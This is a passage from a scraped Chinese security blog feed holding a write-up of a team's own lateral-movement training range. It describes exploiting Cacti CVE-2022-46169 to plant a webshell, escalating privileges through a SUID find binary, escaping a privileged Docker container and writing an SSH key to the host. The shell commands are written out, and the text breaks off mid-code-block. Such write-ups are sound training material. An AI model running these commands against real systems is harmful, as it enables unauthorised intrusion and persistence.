href="http://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500069&amp;idx=1&amp;sn=5e06c7b98f9a90cc016e9125b3458e6b&amp;chksm=c0e8a577f79f2c6125ee8971cd2751e831bb7270e096e706a074cf559363d98c902ab3f59c9e&amp;scene=21#wechat_redirect" data-itemshowtype="0" data-linktype="2" style="font-size: 15px;"><span style="font-size: 15px;">xBitsPlatform使用说明</span></a></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="2247500897">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=13f256ac&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzkwNjMyNzM1Nw%3D%3D%26mid%3D2247500897%26idx%3D1%26sn%3D7246ef032d27bd123cb53b0c967e042c%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 19 Jul 2023 09:21:00 +0800</pubDate>
    </item>
    <item>
      <title>域渗透-How2MoveLaterally</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzkwNjMyNzM1Nw==&amp;mid=2247500867&amp;idx=1&amp;sn=b0972455409f2c2f98c1078be18dc1fe</link>
      <description>团队靶场-How2MoveLaterally Write Up介绍本环境是 xbitsplatform 靶场</description>
      <content:encoded><![CDATA[<p>
原创 <span>7bits安全团队</span> <span>2023-06-15 17:55</span> <span style="display: inline-block;">江苏</span>
</p>

<p>团队靶场-How2MoveLaterally Write Up介绍本环境是 xbitsplatform 靶场</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=e4e3d35b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk7rLSEFu2Ea5nWem9GYF4f02wh9Wprod9BHE9zsmcFA0C38KBickwURQ%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p><br/></p><section data-v-b4e935ba=""><p><br/></p><section data-v-b4e935ba=""><h1 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:2em auto 1em;padding:0 1em;border-bottom:2px solid rgba(15, 76, 129, 1);color:#3f3f3f;margin-top: 0;">团队靶场-How2MoveLaterally Write Up</h1><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">介绍</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">本环境是 xbitsplatform 靶场平台的基础环境之一，主要考察横向移动的知识点。从 linux 外围打点开始，经历几次横向移动后最后获得域管权限。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">目前环境作为公开挑战已上线 xbitsplatform 靶场平台。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5212064090480678" title="null" data-type="png" data-w="1061" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=1516f454&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkSAGUT8ypg4gOpaMWFiaye1bClMElq1uQkAiam1kvCwJka6Xlia1T6Gjhw%2F640%3Fwx_fmt%3Dpng"/></figure><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">知识点</h2><ul style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin-left:0;padding-left:1em;list-style:circle;color:#3f3f3f;" class="list-paddingleft-1"><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• CVE-2022-46169</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• suid 提权</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• docker 特权模式逃逸</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 域内 linux 信息搜集</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• linux 横向移动</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 域内低权限定位个人机</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 本地账户横向移动</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 域内横向移动</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• wmi 端口受限绕过</p></li><li style="text-align:left;line-height:1.75;text-indent:-1em;display:block;margin:0.2em 8px;color:#3f3f3f;"><p>• 内存保护 PPL 绕过</p></li></ul><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">打点</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">扫描发现 cacti，版本为 1.2.22，疑似存在 CVE-2022-46169</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.615625" title="null" data-type="png" data-w="640" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=a0a620ed&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KklYGUl4aQxA3RbsHwzM7N77icgibyPia9hL6q0ibmy64GoiatheqfTRgaZjA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">成功利用并写入一个 webshell</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4564814814814815" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=542799f6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kkhtol1OkXUn8LTFB9G1vA3TdZfo57OncQVFLmgx2ptxDzBAPRm5Qsgw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">没有开启 disable_function,gpc 等，直接执行命令就好：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5248868778280543" title="null" data-type="png" data-w="884" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=c3066947&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkJBrrfVhx9iaR0XXc946Y0KMjhmWbuUIfYiaZTw2j9oibeoXAOvGeUdvFw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">发现存在 dockerenv 文件，应该是 docker。经过一番信息搜集发现没有可以拓展的地方。</p><h2 style="text-align:center;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:1.2em;font-weight:bold;display:table;margin:4em auto 2em;padding:0 0.2em;background:rgba(15, 76, 129, 1);color:#fff;">docker 逃逸</h2><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查看/dev 目录发现有很多文件：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.5138888888888888" title="null" data-type="png" data-w="1080" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=be0eb176&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkNuS1ezyekR9tA97HwibqMVMY86bXiaRnoL4AcRmQRzZFajUkZLnOXNqA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">说明该 docker 是特权模式启动，存在逃逸的可能。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">直接尝试挂载物理机磁盘，先查看以下磁盘：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.18396226415094338" title="null" data-type="png" data-w="636" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=fcf58a80&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkeMJH0vIOJ7DibqDnX8aZemqibYBcia7S3RBwhiclSoHVOHMSUcQTGVf9og%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">显示权限不足，想办法先提权。</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">查找 suid 文件：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">find / -user root -perm -4000 -<span style="color: #a6e22e;line-height: 1.6 !important;">exec</span> ls -ldb {} \</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">有比较特殊的文件 find：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.31170483460559795" title="null" data-type="png" data-w="786" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=71c4d9b7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkfLhDjboiakYDg9z8gIthNBbXV1DC66SZRXlZUU9nBib3RDibP2qodo8Xw%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">看一下怎么利用：</p><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;"><a href="https://gtfobins.github.io/gtfobins/find/" target="_blank">https://gtfobins.github.io/gtfobins/find/</a></p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.3632075471698113" title="null" data-type="png" data-w="1060" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=0e8312f0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5Kk3G45uUnP5lK4TR6EyUiaR0bficI035hCrMnsQibvLzWcG0tT88DD4ibaaA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">执行：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">find . -<span style="color: #a6e22e;line-height: 1.6 !important;">exec</span> /bin/sh -p -c whoami \; -quit<br style="line-height: 1.6 !important;"/></code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">成功提权：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.06740027510316368" title="null" data-type="png" data-w="727" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2dd5b87b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkicqAMvVLzT1IT0vdiadI3I0b6CmHdJyIOyOFn3RqfpzrfUjJ5jG1lZ2w%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">通过 root 权限查看挂在磁盘：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">find . -<span style="color: #a6e22e;line-height: 1.6 !important;">exec</span> /bin/sh -p -c <span style="color: #a6e22e;line-height: 1.6 !important;">&#34;mkdir /mnt/pwn&#34;</span> \; -quit<br style="line-height: 1.6 !important;"/>find . -<span style="color: #a6e22e;line-height: 1.6 !important;">exec</span> /bin/sh -p -c mount /dev/dm-0 /mnt/pwn\; -quit</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">会报错：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.32666666666666666" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=828afb65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkhIf3LkSCXQWEQqZfZnib3XiaquXRsKsVQAh1I8Yp1bWC4KOmh4pXeMfA%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里的 root 权限是有限制的。但是我们在/mnt 目录下发现一个已经挂载目录，并且可以读取：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;margin: 1em 0;color: #333;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;line-height: 1.6 !important;"><code style="overflow-x: auto;padding: 16px;color: #ddd;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;-webkit-overflow-scrolling: touch;font-size: .875em;padding-top: 15px;background: #272822;border-radius: 5px;line-height: 1.6 !important;">find . -<span style="color: #a6e22e;line-height: 1.6 !important;">exec</span> /bin/sh -p -c <span style="color: #a6e22e;line-height: 1.6 !important;">&#39;ls /mnt/cacti&#39;</span> \; -quit</code></pre></section><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">看起来就是物理机的磁盘，那么问题就转换成可以读写文件获取该 linux 权限了。</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.4" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=7458b0b8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkF6JgEHcfeFOAdO5wlHxEQovyqa8YR6CR8icxSrDfAxT4s5dg0PBm74g%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">这里采用写公钥的办法，首先生成一对公私钥：</p><figure style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;color:#3f3f3f;"><img class="rich_pages wxw-img" data-ratio="0.8766666666666667" title="null" data-type="png" data-w="600" style="text-align: left;line-height: 1.75;font-family: -apple-system-font, BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB, Microsoft YaHei UI, Microsoft YaHei, Arial, sans-serif;font-size: 14px;border-radius: 4px;display: block;margin: 0.1em auto 0.5em;" src="https://wechat2rss.xlab.app/img-proxy/?k=2b37a048&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FPLeCXQl8794dljpZQqficjhmrL8IRJ5KkNRWUISE543XWuuf2OTibZia9QpKrAEF6BWjIS87IZd3faM1IPDObM95A%2F640%3Fwx_fmt%3Dpng"/></figure><p style="text-align:left;line-height:1.75;font-family:-apple-system-font,BlinkMacSystemFont, Helvetica Neue, PingFang SC, Hiragino Sans GB , Microsoft YaHei UI , Microsoft YaHei ,Arial,sans-serif;font-size:14px;margin:1.5em 8px;letter-spacing:0.1em;color:#3f3f3f;">编码后写入 ssh 配置文件：</p><section data-tool="mdnice编辑器" data-website="https://www.mdnice.com" style="padding: 0 10px;line-height: 1.6;word-spacing: 0px;letter-spacing: 0px;word-break: break-word;word-wrap: break-word;text-align: left;font-size: 16px;margin-top: -1em;color: #333;padding-top: 0;padding-bottom: 0;font-family: Optima-Regular, Optima, PingFangSC-light, PingFangTC-light, &#39;PingFang SC&#39;, Cambria, Cochin, Georgia, Times, &#39;Times New Roman&#39;, serif;"><pre data-tool="mdnice编辑器" style="margin-top: 